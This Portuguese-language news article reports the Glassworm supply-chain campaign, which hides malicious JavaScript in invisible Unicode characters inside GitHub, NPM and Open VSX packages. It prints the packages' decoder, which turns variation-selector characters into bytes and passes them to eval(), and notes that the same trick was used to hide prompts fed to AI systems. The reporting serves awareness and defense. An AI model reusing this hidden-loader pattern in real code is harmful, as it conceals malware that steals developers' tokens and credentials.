Ataque de cadeia de suprimentos usa código Unicode invisível para evitar detecção

✍️ OpenClawRadar📅 Publicado: March 15, 2026🔗 Source
Ataque de cadeia de suprimentos usa código Unicode invisível para evitar detecção
Ad

Pesquisadores de segurança da Aikido Security descobriram um ataque à cadeia de suprimentos que usa código Unicode invisível para ocultar funções maliciosas em pacotes enviados para GitHub, NPM e Open VSX. O grupo de ataque, apelidado de Glassworm, enviou 151 pacotes maliciosos para o GitHub de 3 a 9 de março de 2026.

Como funciona o código invisível

Os pacotes maliciosos usam caracteres Unicode das Áreas de Uso Público (também chamadas de Acesso de Uso Público) que são invisíveis quando visualizados em editores, terminais e interfaces de revisão de código. Embora a maior parte do código pareça normal, funções e cargas maliciosas são renderizadas usando esses caracteres invisíveis, tornando as revisões manuais de código e as defesas tradicionais ineficazes.

Os caracteres Unicode invisíveis representam cada letra do alfabeto americano quando processados por computadores, mas são exibidos como espaços em branco ou linhas vazias para humanos. Os interpretadores JavaScript podem ler e executar esses caracteres como código normal.

Implementação técnica

Em um pacote analisado, os atacantes codificaram uma carga maliciosa usando caracteres invisíveis. O código inclui uma função decodificadora que extrai os bytes ocultos e os passa para eval():

const s = v => [...v].map(
  w => (
    w = w.codePointAt(0),
    w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
    w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 :
    null
  )
).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));

A string com crase passada para s() parece vazia em visualizadores, mas contém caracteres invisíveis que decodificam para uma carga maliciosa completa. Em incidentes anteriores, as cargas decodificadas buscavam e executavam scripts de segundo estágio usando Solana como canal de entrega para roubar tokens, credenciais e segredos.

Ad

Características do ataque

Os pacotes maliciosos são particularmente difíceis de detectar porque:

  • As partes visíveis do código são de alta qualidade e realistas
  • As alterações circundantes incluem ajustes na documentação, incrementos de versão, pequenos refatoramentos e correções de bugs
  • As alterações são estilisticamente consistentes com os projetos-alvo
  • Pesquisadores suspeitam que LLMs são usados para gerar pacotes convincentemente legítimos

Esta técnica Unicode foi usada pela primeira vez em 2024 para ocultar prompts maliciosos alimentados a motores de IA, e desde então foi adaptada para ataques de malware tradicionais. Os 151 pacotes detectados provavelmente representam uma pequena fração da campanha, já que muitos foram excluídos desde o envio inicial.

📖 Leia a fonte completa: HN AI Agents

Ad

👀 See Also